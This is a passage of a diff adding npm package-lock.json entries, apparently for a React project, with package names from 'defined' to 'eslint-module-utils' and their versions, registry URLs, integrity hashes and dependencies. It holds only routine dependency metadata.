+        "has-property-descriptors": "^1.0.0",
+        "object-keys": "^1.1.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/defined": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/defined/-/defined-1.0.0.tgz",
+      "integrity": "sha512-Y2caI5+ZwS5c3RiNDJ6u53VhQHv+hHKwhkI1iHvceKUHw9Df6EK2zRLfjejRgMuCuxK7PfSWIMwWecceVvThjQ=="
+    },
+    "node_modules/delayed-stream": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
+      "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==",
+      "engines": {
+        "node": ">=0.4.0"
+      }
+    },
+    "node_modules/depd": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
+      "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/destroy": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz",
+      "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==",
+      "engines": {
+        "node": ">= 0.8",
+        "npm": "1.2.8000 || >= 1.4.16"
+      }
+    },
+    "node_modules/detect-newline": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-3.1.0.tgz",
+      "integrity": "sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/detect-node": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.1.0.tgz",
+      "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g=="
+    },
+    "node_modules/detect-port-alt": {
+      "version": "1.1.6",
+      "resolved": "https://registry.npmjs.org/detect-port-alt/-/detect-port-alt-1.1.6.tgz",
+      "integrity": "sha512-5tQykt+LqfJFBEYaDITx7S7cR7mJ/zQmLXZ2qt5w04ainYZw6tBf9dBunMjVeVOdYVRUzUOE4HkY5J7+uttb5Q==",
+      "dependencies": {
+        "address": "^1.0.1",
+        "debug": "^2.6.0"
+      },
+      "bin": {
+        "detect": "bin/detect-port",
+        "detect-port": "bin/detect-port"
+      },
+      "engines": {
+        "node": ">= 4.2.1"
+      }
+    },
+    "node_modules/detect-port-alt/node_modules/debug": {
+      "version": "2.6.9",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+      "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+      "dependencies": {
+        "ms": "2.0.0"
+      }
+    },
+    "node_modules/detect-port-alt/node_modules/ms": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+      "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
+    },
+    "node_modules/detective": {
+      "version": "5.2.1",
+      "resolved": "https://registry.npmjs.org/detective/-/detective-5.2.1.tgz",
+      "integrity": "sha512-v9XE1zRnz1wRtgurGu0Bs8uHKFSTdteYZNbIPFVhUZ39L/S79ppMpdmVOZAnoz1jfEFodc48n6MX483Xo3t1yw==",
+      "dependencies": {
+        "acorn-node": "^1.8.2",
+        "defined": "^1.0.0",
+        "minimist": "^1.2.6"
+      },
+      "bin": {
+        "detective": "bin/detective.js"
+      },
+      "engines": {
+        "node": ">=0.8.0"
+      }
+    },
+    "node_modules/didyoumean": {
+      "version": "1.2.2",
+      "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz",
+      "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw=="
+    },
+    "node_modules/diff-sequences": {
+      "version": "24.9.0",
+      "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-24.9.0.tgz",
+      "integrity": "sha512-Dj6Wk3tWyTE+Fo1rW8v0Xhwk80um6yFYKbuAxc9c3EZxIHFDYwbi34Uk42u1CdnIiVorvt4RmlSDjIPyzGC2ew==",
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/dir-glob": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz",
+      "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==",
+      "dependencies": {
+        "path-type": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/dlv": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz",
+      "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA=="
+    },
+    "node_modules/dns-equal": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/dns-equal/-/dns-equal-1.0.0.tgz",
+      "integrity": "sha512-z+paD6YUQsk+AbGCEM4PrOXSss5gd66QfcVBFTKR/HpFL9jCqikS94HYwKww6fQyO7IxrIIyUu+g0Ka9tUS2Cg=="
+    },
+    "node_modules/dns-packet": {
+      "version": "5.4.0",
+      "resolved": "https://registry.npmjs.org/dns-packet/-/dns-packet-5.4.0.tgz",
+      "integrity": "sha512-EgqGeaBB8hLiHLZtp/IbaDQTL8pZ0+IvwzSHA6d7VyMDM+B9hgddEMa9xjK5oYnw0ci0JQ6g2XCD7/f6cafU6g==",
+      "dependencies": {
+        "@leichtgewicht/ip-codec": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/doctrine": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz",
+      "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==",
+      "dependencies": {
+        "esutils": "^2.0.2"
+      },
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/dom-accessibility-api": {
+      "version": "0.3.0",
+      "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.3.0.tgz",
+      "integrity": "sha512-PzwHEmsRP3IGY4gv/Ug+rMeaTIyTJvadCb+ujYXYeIylbHJezIyNToe8KfEgHTCEYyC+/bUghYOGg8yMGlZ6vA=="
+    },
+    "node_modules/dom-converter": {
+      "version": "0.2.0",
+      "resolved": "https://registry.npmjs.org/dom-converter/-/dom-converter-0.2.0.tgz",
+      "integrity": "sha512-gd3ypIPfOMr9h5jIKq8E3sHOTCjeirnl0WK5ZdS1AW0Odt0b1PaWaHdJ4Qk4klv+YB9aJBS7mESXjFoDQPu6DA==",
+      "dependencies": {
+        "utila": "~0.4"
+      }
+    },
+    "node_modules/dom-serializer": {
+      "version": "1.4.1",
+      "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz",
+      "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==",
+      "dependencies": {
+        "domelementtype": "^2.0.1",
+        "domhandler": "^4.2.0",
+        "entities": "^2.0.0"
+      },
+      "funding": {
+        "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1"
+      }
+    },
+    "node_modules/domelementtype": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz",
+      "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/fb55"
+        }
+      ]
+    },
+    "node_modules/domexception": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/domexception/-/domexception-2.0.1.tgz",
+      "integrity": "sha512-yxJ2mFy/sibVQlu5qHjOkf9J3K6zgmCxgJ94u2EdvDOV09H+32LtRswEcUsmUWN72pVLOEnTSRaIVVzVQgS0dg==",
+      "dependencies": {
+        "webidl-conversions": "^5.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/domexception/node_modules/webidl-conversions": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-5.0.0.tgz",
+      "integrity": "sha512-VlZwKPCkYKxQgeSbH5EyngOmRp7Ww7I9rQLERETtf5ofd9pGeswWiOtogpEO850jziPRarreGxn5QIiTqpb2wA==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/domhandler": {
+      "version": "4.3.1",
+      "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.3.1.tgz",
+      "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==",
+      "dependencies": {
+        "domelementtype": "^2.2.0"
+      },
+      "engines": {
+        "node": ">= 4"
+      },
+      "funding": {
+        "url": "https://github.com/fb55/domhandler?sponsor=1"
+      }
+    },
+    "node_modules/domutils": {
+      "version": "2.8.0",
+      "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz",
+      "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==",
+      "dependencies": {
+        "dom-serializer": "^1.0.1",
+        "domelementtype": "^2.2.0",
+        "domhandler": "^4.2.0"
+      },
+      "funding": {
+        "url": "https://github.com/fb55/domutils?sponsor=1"
+      }
+    },
+    "node_modules/dot-case": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/dot-case/-/dot-case-3.0.4.tgz",
+      "integrity": "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==",
+      "dependencies": {
+        "no-case": "^3.0.4",
+        "tslib": "^2.0.3"
+      }
+    },
+    "node_modules/dotenv": {
+      "version": "10.0.0",
+      "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-10.0.0.tgz",
+      "integrity": "sha512-rlBi9d8jpv9Sf1klPjNfFAuWDjKLwTIJJ/VxtoTwIR6hnZxcEOQCZg2oIL3MWBYw5GpUDKOEnND7LXTbIpQ03Q==",
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/dotenv-expand": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/dotenv-expand/-/dotenv-expand-5.1.0.tgz",
+      "integrity": "sha512-YXQl1DSa4/PQyRfgrv6aoNjhasp/p4qs9FjJ4q4cQk+8m4r6k4ZSiEyytKG8f8W9gi8WsQtIObNmKd+tMzNTmA=="
+    },
+    "node_modules/duplexer": {
+      "version": "0.1.2",
+      "resolved": "https://registry.npmjs.org/duplexer/-/duplexer-0.1.2.tgz",
+      "integrity": "sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg=="
+    },
+    "node_modules/ee-first": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
+      "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow=="
+    },
+    "node_modules/ejs": {
+      "version": "3.1.10",
+      "resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.10.tgz",
+      "integrity": "sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA==",
+      "dependencies": {
+        "jake": "^10.8.5"
+      },
+      "bin": {
+        "ejs": "bin/cli.js"
+      },
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/electron-to-chromium": {
+      "version": "1.5.13",
+      "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.13.tgz",
+      "integrity": "sha512-lbBcvtIJ4J6sS4tb5TLp1b4LyfCdMkwStzXPyAgVgTRAsep4bvrAGaBOP7ZJtQMNJpSQ9SqG4brWOroNaQtm7Q=="
+    },
+    "node_modules/emittery": {
+      "version": "0.8.1",
+      "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.8.1.tgz",
+      "integrity": "sha512-uDfvUjVrfGJJhymx/kz6prltenw1u7WrCg1oa94zYY8xxVpLLUu045LAT0dhDZdXG58/EpPL/5kA180fQ/qudg==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sindresorhus/emittery?sponsor=1"
+      }
+    },
+    "node_modules/emoji-regex": {
+      "version": "9.2.2",
+      "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz",
+      "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg=="
+    },
+    "node_modules/emojis-list": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-3.0.0.tgz",
+      "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==",
+      "engines": {
+        "node": ">= 4"
+      }
+    },
+    "node_modules/encodeurl": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz",
+      "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/enhanced-resolve": {
+      "version": "5.17.1",
+      "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.17.1.tgz",
+      "integrity": "sha512-LMHl3dXhTcfv8gM4kEzIUeTQ+7fpdA0l2tUf34BddXPkz2A5xJ5L/Pchd5BL6rdccM9QGvu0sWZzK1Z1t4wwyg==",
+      "dependencies": {
+        "graceful-fs": "^4.2.4",
+        "tapable": "^2.2.0"
+      },
+      "engines": {
+        "node": ">=10.13.0"
+      }
+    },
+    "node_modules/entities": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz",
+      "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==",
+      "funding": {
+        "url": "https://github.com/fb55/entities?sponsor=1"
+      }
+    },
+    "node_modules/error-ex": {
+      "version": "1.3.2",
+      "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz",
+      "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==",
+      "dependencies": {
+        "is-arrayish": "^0.2.1"
+      }
+    },
+    "node_modules/error-stack-parser": {
+      "version": "2.1.4",
+      "resolved": "https://registry.npmjs.org/error-stack-parser/-/error-stack-parser-2.1.4.tgz",
+      "integrity": "sha512-Sk5V6wVazPhq5MhpO+AUxJn5x7XSXGl1R93Vn7i+zS15KDVxQijejNCrz8340/2bgLBjR9GtEG8ZVKONDjcqGQ==",
+      "dependencies": {
+        "stackframe": "^1.3.4"
+      }
+    },
+    "node_modules/es-abstract": {
+      "version": "1.20.3",
+      "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.20.3.tgz",
+      "integrity": "sha512-AyrnaKVpMzljIdwjzrj+LxGmj8ik2LckwXacHqrJJ/jxz6dDDBcZ7I7nlHM0FvEW8MfbWJwOd+yT2XzYW49Frw==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "es-to-primitive": "^1.2.1",
+        "function-bind": "^1.1.1",
+        "function.prototype.name": "^1.1.5",
+        "get-intrinsic": "^1.1.3",
+        "get-symbol-description": "^1.0.0",
+        "has": "^1.0.3",
+        "has-property-descriptors": "^1.0.0",
+        "has-symbols": "^1.0.3",
+        "internal-slot": "^1.0.3",
+        "is-callable": "^1.2.6",
+        "is-negative-zero": "^2.0.2",
+        "is-regex": "^1.1.4",
+        "is-shared-array-buffer": "^1.0.2",
+        "is-string": "^1.0.7",
+        "is-weakref": "^1.0.2",
+        "object-inspect": "^1.12.2",
+        "object-keys": "^1.1.1",
+        "object.assign": "^4.1.4",
+        "regexp.prototype.flags": "^1.4.3",
+        "safe-regex-test": "^1.0.0",
+        "string.prototype.trimend": "^1.0.5",
+        "string.prototype.trimstart": "^1.0.5",
+        "unbox-primitive": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/es-array-method-boxes-properly": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/es-array-method-boxes-properly/-/es-array-method-boxes-properly-1.0.0.tgz",
+      "integrity": "sha512-wd6JXUmyHmt8T5a2xreUwKcGPq6f1f+WwIJkijUqiGcJz1qqnZgP6XIK+QyIWU5lT7imeNxUll48bziG+TSYcA=="
+    },
+    "node_modules/es-define-property": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.0.tgz",
+      "integrity": "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==",
+      "dependencies": {
+        "get-intrinsic": "^1.2.4"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/es-errors": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",
+      "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==",
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/es-module-lexer": {
+      "version": "1.5.4",
+      "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.5.4.tgz",
+      "integrity": "sha512-MVNK56NiMrOwitFB7cqDwq0CQutbw+0BvLshJSse0MUNU+y1FC3bUS/AQg7oUng+/wKrrki7JfmwtVHkVfPLlw=="
+    },
+    "node_modules/es-shim-unscopables": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/es-shim-unscopables/-/es-shim-unscopables-1.0.0.tgz",
+      "integrity": "sha512-Jm6GPcCdC30eMLbZ2x8z2WuRwAws3zTBBKuusffYVUrNj/GVSUAZ+xKMaUpfNDR5IbyNA5LJbaecoUVbmUcB1w==",
+      "dependencies": {
+        "has": "^1.0.3"
+      }
+    },
+    "node_modules/es-to-primitive": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.2.1.tgz",
+      "integrity": "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==",
+      "dependencies": {
+        "is-callable": "^1.1.4",
+        "is-date-object": "^1.0.1",
+        "is-symbol": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/escalade": {
+      "version": "3.2.0",
+      "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz",
+      "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/escape-html": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz",
+      "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow=="
+    },
+    "node_modules/escape-string-regexp": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
+      "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=",
+      "engines": {
+        "node": ">=0.8.0"
+      }
+    },
+    "node_modules/escodegen": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.0.0.tgz",
+      "integrity": "sha512-mmHKys/C8BFUGI+MAWNcSYoORYLMdPzjrknd2Vc+bUsjN5bXcr8EhrNB+UTqfL1y3I9c4fw2ihgtMPQLBRiQxw==",
+      "dependencies": {
+        "esprima": "^4.0.1",
+        "estraverse": "^5.2.0",
+        "esutils": "^2.0.2",
+        "optionator": "^0.8.1"
+      },
+      "bin": {
+        "escodegen": "bin/escodegen.js",
+        "esgenerate": "bin/esgenerate.js"
+      },
+      "engines": {
+        "node": ">=6.0"
+      },
+      "optionalDependencies": {
+        "source-map": "~0.6.1"
+      }
+    },
+    "node_modules/escodegen/node_modules/levn": {
+      "version": "0.3.0",
+      "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz",
+      "integrity": "sha512-0OO4y2iOHix2W6ujICbKIaEQXvFQHue65vUG3pb5EUomzPI90z9hsA1VsO/dbIIpC53J8gxM9Q4Oho0jrCM/yA==",
+      "dependencies": {
+        "prelude-ls": "~1.1.2",
+        "type-check": "~0.3.2"
+      },
+      "engines": {
+        "node": ">= 0.8.0"
+      }
+    },
+    "node_modules/escodegen/node_modules/optionator": {
+      "version": "0.8.3",
+      "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz",
+      "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==",
+      "dependencies": {
+        "deep-is": "~0.1.3",
+        "fast-levenshtein": "~2.0.6",
+        "levn": "~0.3.0",
+        "prelude-ls": "~1.1.2",
+        "type-check": "~0.3.2",
+        "word-wrap": "~1.2.3"
+      },
+      "engines": {
+        "node": ">= 0.8.0"
+      }
+    },
+    "node_modules/escodegen/node_modules/prelude-ls": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz",
+      "integrity": "sha512-ESF23V4SKG6lVSGZgYNpbsiaAkdab6ZgOxe52p7+Kid3W3u3bxR4Vfd/o21dmN7jSt0IwgZ4v5MUd26FEtXE9w==",
+      "engines": {
+        "node": ">= 0.8.0"
+      }
+    },
+    "node_modules/escodegen/node_modules/type-check": {
+      "version": "0.3.2",
+      "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz",
+      "integrity": "sha512-ZCmOJdvOWDBYJlzAoFkC+Q0+bUyEOS1ltgp1MGU03fqHG+dbi9tBFU2Rd9QKiDZFAYrhPh2JUf7rZRIuHRKtOg==",
+      "dependencies": {
+        "prelude-ls": "~1.1.2"
+      },
+      "engines": {
+        "node": ">= 0.8.0"
+      }
+    },
+    "node_modules/eslint": {
+      "version": "8.24.0",
+      "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.24.0.tgz",
+      "integrity": "sha512-dWFaPhGhTAiPcCgm3f6LI2MBWbogMnTJzFBbhXVRQDJPkr9pGZvVjlVfXd+vyDcWPA2Ic9L2AXPIQM0+vk/cSQ==",
+      "dependencies": {
+        "@eslint/eslintrc": "^1.3.2",
+        "@humanwhocodes/config-array": "^0.10.5",
+        "@humanwhocodes/gitignore-to-minimatch": "^1.0.2",
+        "@humanwhocodes/module-importer": "^1.0.1",
+        "ajv": "^6.10.0",
+        "chalk": "^4.0.0",
+        "cross-spawn": "^7.0.2",
+        "debug": "^4.3.2",
+        "doctrine": "^3.0.0",
+        "escape-string-regexp": "^4.0.0",
+        "eslint-scope": "^7.1.1",
+        "eslint-utils": "^3.0.0",
+        "eslint-visitor-keys": "^3.3.0",
+        "espree": "^9.4.0",
+        "esquery": "^1.4.0",
+        "esutils": "^2.0.2",
+        "fast-deep-equal": "^3.1.3",
+        "file-entry-cache": "^6.0.1",
+        "find-up": "^5.0.0",
+        "glob-parent": "^6.0.1",
+        "globals": "^13.15.0",
+        "globby": "^11.1.0",
+        "grapheme-splitter": "^1.0.4",
+        "ignore": "^5.2.0",
+        "import-fresh": "^3.0.0",
+        "imurmurhash": "^0.1.4",
+        "is-glob": "^4.0.0",
+        "js-sdsl": "^4.1.4",
+        "js-yaml": "^4.1.0",
+        "json-stable-stringify-without-jsonify": "^1.0.1",
+        "levn": "^0.4.1",
+        "lodash.merge": "^4.6.2",
+        "minimatch": "^3.1.2",
+        "natural-compare": "^1.4.0",
+        "optionator": "^0.9.1",
+        "regexpp": "^3.2.0",
+        "strip-ansi": "^6.0.1",
+        "strip-json-comments": "^3.1.0",
+        "text-table": "^0.2.0"
+      },
+      "bin": {
+        "eslint": "bin/eslint.js"
+      },
+      "engines": {
+        "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+      },
+      "funding": {
+        "url": "https://opencollective.com/eslint"
+      }
+    },
+    "node_modules/eslint-config-react-app": {
+      "version": "7.0.1",
+      "resolved": "https://registry.npmjs.org/eslint-config-react-app/-/eslint-config-react-app-7.0.1.tgz",
+      "integrity": "sha512-K6rNzvkIeHaTd8m/QEh1Zko0KI7BACWkkneSs6s9cKZC/J27X3eZR6Upt1jkmZ/4FK+XUOPPxMEN7+lbUXfSlA==",
+      "dependencies": {
+        "@babel/core": "^7.16.0",
+        "@babel/eslint-parser": "^7.16.3",
+        "@rushstack/eslint-patch": "^1.1.0",
+        "@typescript-eslint/eslint-plugin": "^5.5.0",
+        "@typescript-eslint/parser": "^5.5.0",
+        "babel-preset-react-app": "^10.0.1",
+        "confusing-browser-globals": "^1.0.11",
+        "eslint-plugin-flowtype": "^8.0.3",
+        "eslint-plugin-import": "^2.25.3",
+        "eslint-plugin-jest": "^25.3.0",
+        "eslint-plugin-jsx-a11y": "^6.5.1",
+        "eslint-plugin-react": "^7.27.1",
+        "eslint-plugin-react-hooks": "^4.3.0",
+        "eslint-plugin-testing-library": "^5.0.1"
+      },
+      "engines": {
+        "node": ">=14.0.0"
+      },
+      "peerDependencies": {
+        "eslint": "^8.0.0"
+      }
+    },
+    "node_modules/eslint-import-resolver-node": {
+      "version": "0.3.6",
+      "resolved": "https://registry.npmjs.org/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.6.tgz",
+      "integrity": "sha512-0En0w03NRVMn9Uiyn8YRPDKvWjxCWkslUEhGNTdGx15RvPJYQ+lbOlqrlNI2vEAs4pDYK4f/HN2TbDmk5TP0iw==",
+      "dependencies": {
+        "debug": "^3.2.7",
+        "resolve": "^1.20.0"
+      }
+    },
+    "node_modules/eslint-import-resolver-node/node_modules/debug": {
+      "version": "3.2.7",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
+      "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+      "dependencies": {
+        "ms": "^2.1.1"
+      }
+    },
+    "node_modules/eslint-module-utils": {
+      "version": "2.7.4",
+      "resolved": "https://registry.npmjs.org/eslint-module-utils/-/eslint-module-utils-2.7.4.tgz",
+      "integrity": "sha512-j4GT+rqzCoRKHwURX7pddtIPGySnX9Si/cgMI5ztrcqOPtk5dDEeZ34CQVPphnqkJytlc97Vuk05Um2mJ3gEQA==",
+      "dependencies": {
+        "debug": "^3.2.7"
+      },
+      "engines": {
+        "node": ">=4"
+      },
+      "peerDependenciesMeta": {
+        "eslint": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/eslint-module-utils/node_modules/debug": {
+      "version": "3.2.7",
